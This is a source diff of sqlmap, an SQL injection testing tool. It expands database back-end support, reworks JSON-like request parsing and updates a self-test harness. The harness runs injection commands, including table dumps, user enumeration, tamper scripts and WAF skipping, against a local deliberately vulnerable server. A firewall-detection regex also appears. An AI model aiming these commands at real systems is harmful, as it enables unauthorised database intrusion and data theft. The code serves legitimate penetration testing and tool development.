@@ -69,6 +69,7 @@ REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
||||
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||
SAFE_VARIABLE_MARKER = "__SAFE__"
|
||||
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
||||
DOLLAR_MARKER = "__DOLLAR__"
|
||||
|
||||
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||
@@ -93,6 +94,12 @@ PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s
|
||||
# Regular expression used in recognition of generic protection mechanisms
|
||||
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
||||
|
||||
# Regular expression used to detect errors in fuzz(y) UNION test
|
||||
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error"
|
||||
|
||||
# Upper threshold for starting the fuzz(y) UNION test
|
||||
FUZZ_UNION_MAX_COLUMNS = 10
|
||||
|
||||
# Regular expression used for recognition of generic maximum connection messages
|
||||
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
||||
|
||||
@@ -243,7 +250,7 @@ PYVERSION = sys.version.split()[0]
|
||||
IS_WIN = PLATFORM == "nt"
|
||||
|
||||
# Check if running in terminal
|
||||
IS_TTY = os.isatty(sys.stdout.fileno())
|
||||
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
|
||||
|
||||
# DBMS system databases
|
||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
||||
@@ -257,7 +264,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
||||
@@ -266,11 +273,16 @@ MCKOI_SYSTEM_DBS = ("",)
|
||||
PRESTO_SYSTEM_DBS = ("information_schema",)
|
||||
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
||||
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
||||
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
|
||||
CUBRID_SYSTEM_DBS = ("DBA",)
|
||||
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
|
||||
EXTREMEDB_SYSTEM_DBS = ("",)
|
||||
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
|
||||
|
||||
# Note: (<regular>) + (<forks>)
|
||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
|
||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb")
|
||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora")
|
||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
||||
@@ -288,13 +300,18 @@ MCKOI_ALIASES = ("mckoi",)
|
||||
PRESTO_ALIASES = ("presto",)
|
||||
ALTIBASE_ALIASES = ("altibase",)
|
||||
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
||||
CRATEDB_ALIASES = ("cratedb", "crate")
|
||||
CUBRID_ALIASES = ("cubrid",)
|
||||
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache")
|
||||
EXTREMEDB_ALIASES = ("extremedb", "extreme")
|
||||
FRONTBASE_ALIASES = ("frontbase",)
|
||||
|
||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES
|
||||
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES)
|
||||
SUPPORTED_OS = ("linux", "windows")
|
||||
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES))
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES))
|
||||
|
||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||
@@ -307,6 +324,10 @@ UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS
|
||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||
VERTICA_DEFAULT_SCHEMA = "public"
|
||||
MCKOI_DEFAULT_SCHEMA = "APP"
|
||||
CACHE_DEFAULT_SCHEMA = "SQLUser"
|
||||
|
||||
# DBMSes where OFFSET mechanism starts from 1
|
||||
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
|
||||
|
||||
# Names that can't be used to name files on Windows OS
|
||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||
@@ -560,6 +581,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
|
||||
# Table used for Base64 conversion in WordPress hash cracking routine
|
||||
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||
|
||||
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
|
||||
IGNORED_OPTIONS = ("--compressed",)
|
||||
|
||||
# Chars used to quickly distinguish if the user provided tainted parameter values
|
||||
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||
|
||||
@@ -582,7 +606,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
|
||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
|
||||
# Period after last-update to start nagging about the old revision
|
||||
LAST_UPDATE_NAGGING_DAYS = 60
|
||||
LAST_UPDATE_NAGGING_DAYS = 180
|
||||
|
||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||
@@ -745,7 +769,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||
|
||||
# Boldify all logger messages containing these "patterns"
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
|
||||
|
||||
# TLDs used in randomization of email-alike parameter values
|
||||
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
||||
@@ -793,7 +817,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||
|
||||
# Regular expression used for detecting JSON-like POST data
|
||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
|
||||
|
||||
# Regular expression used for detecting multipart POST data
|
||||
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
||||
@@ -894,14 +918,24 @@ for key, value in os.environ.items():
|
||||
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
||||
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
||||
if _ in globals():
|
||||
globals()[_] = value
|
||||
original = globals()[_]
|
||||
if isinstance(original, int):
|
||||
try:
|
||||
globals()[_] = int(value)
|
||||
except ValueError:
|
||||
pass
|
||||
elif isinstance(original, bool):
|
||||
globals()[_] = value.lower() in ('1', 'true')
|
||||
elif isinstance(original, (list, tuple)):
|
||||
globals()[_] = [__.strip() for __ in _.split(',')]
|
||||
else:
|
||||
globals()[_] = value
|
||||
|
||||
# Installing "reversible" unicode (decoding) error handler
|
||||
def _reversible(ex):
|
||||
if isinstance(ex, UnicodeDecodeError):
|
||||
if INVALID_UNICODE_PRIVATE_AREA:
|
||||
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||
else:
|
||||
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||
if INVALID_UNICODE_PRIVATE_AREA:
|
||||
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||
else:
|
||||
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||
|
||||
codecs.register_error("reversible", _reversible)
|
||||
|
||||
@@ -111,7 +111,7 @@ def _setRequestParams():
|
||||
def process(match, repl):
|
||||
retVal = match.group(0)
|
||||
|
||||
if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
|
||||
if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
|
||||
retVal = repl
|
||||
while True:
|
||||
_ = re.search(r"\\g<([^>]+)>", retVal)
|
||||
@@ -120,7 +120,7 @@ def _setRequestParams():
|
||||
else:
|
||||
break
|
||||
if kb.customInjectionMark in retVal:
|
||||
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
|
||||
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -145,6 +145,7 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.JSON
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
@@ -159,8 +160,6 @@ def _setRequestParams():
|
||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||
|
||||
kb.postHint = POST_HINT.JSON
|
||||
|
||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||
message = "JSON-like data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
@@ -169,13 +168,16 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.JSON_LIKE
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.JSON_LIKE
|
||||
if '"' in conf.data:
|
||||
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
|
||||
else:
|
||||
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||
|
||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||
message = "Array-like data found in %s body. " % conf.method
|
||||
@@ -185,12 +187,11 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||
|
||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||
message = "SOAP/XML data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
@@ -199,13 +200,12 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||
|
||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||
message = "Multipart-like data found in %s body. " % conf.method
|
||||
message += "Do you want to process it? [Y/n/q] "
|
||||
@@ -214,13 +214,12 @@ def _setRequestParams():
|
||||
if choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
elif choice == 'Y':
|
||||
kb.postHint = POST_HINT.MULTIPART
|
||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||
|
||||
kb.postHint = POST_HINT.MULTIPART
|
||||
|
||||
if not kb.postHint:
|
||||
if kb.customInjectionMark in conf.data: # later processed
|
||||
pass
|
||||
@@ -401,7 +400,7 @@ def _setRequestParams():
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if conf.csrfToken:
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
@@ -491,7 +490,7 @@ def _resumeDBMS():
|
||||
|
||||
dbms = value.lower()
|
||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
||||
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
||||
|
||||
if _:
|
||||
|
||||
@@ -5,8 +5,6 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import division
|
||||
|
||||
import doctest
|
||||
import logging
|
||||
import os
|
||||
@@ -20,7 +18,6 @@ import threading
|
||||
import time
|
||||
|
||||
from extra.vulnserver import vulnserver
|
||||
from lib.core.common import clearColors
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import randomInt
|
||||
@@ -33,8 +30,7 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
|
||||
_rand = 0
|
||||
from lib.core.patch import unisonRandom
|
||||
|
||||
def vulnTest():
|
||||
"""
|
||||
@@ -43,19 +39,22 @@ def vulnTest():
|
||||
|
||||
TESTS = (
|
||||
("-h", ("to see full list of options run with '-hh'",)),
|
||||
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
||||
(u"-c <config> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
|
||||
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||
("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
|
||||
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
||||
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
||||
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
||||
("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
||||
@@ -87,9 +86,13 @@ def vulnTest():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
s.connect((address, port))
|
||||
break
|
||||
s.send(b"GET / HTTP/1.0\r\n\r\n")
|
||||
if b"vulnserver" in s.recv(4096):
|
||||
break
|
||||
except:
|
||||
time.sleep(1)
|
||||
finally:
|
||||
s.close()
|
||||
|
||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||
os.close(handle)
|
||||
@@ -122,12 +125,18 @@ def vulnTest():
|
||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||
|
||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||
|
||||
if "<tmp>" in cmd:
|
||||
handle, tmp = tempfile.mkstemp()
|
||||
os.close(handle)
|
||||
cmd = cmd.replace("<tmp>", tmp)
|
||||
|
||||
output = shellExec(cmd)
|
||||
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % clearColors(output))
|
||||
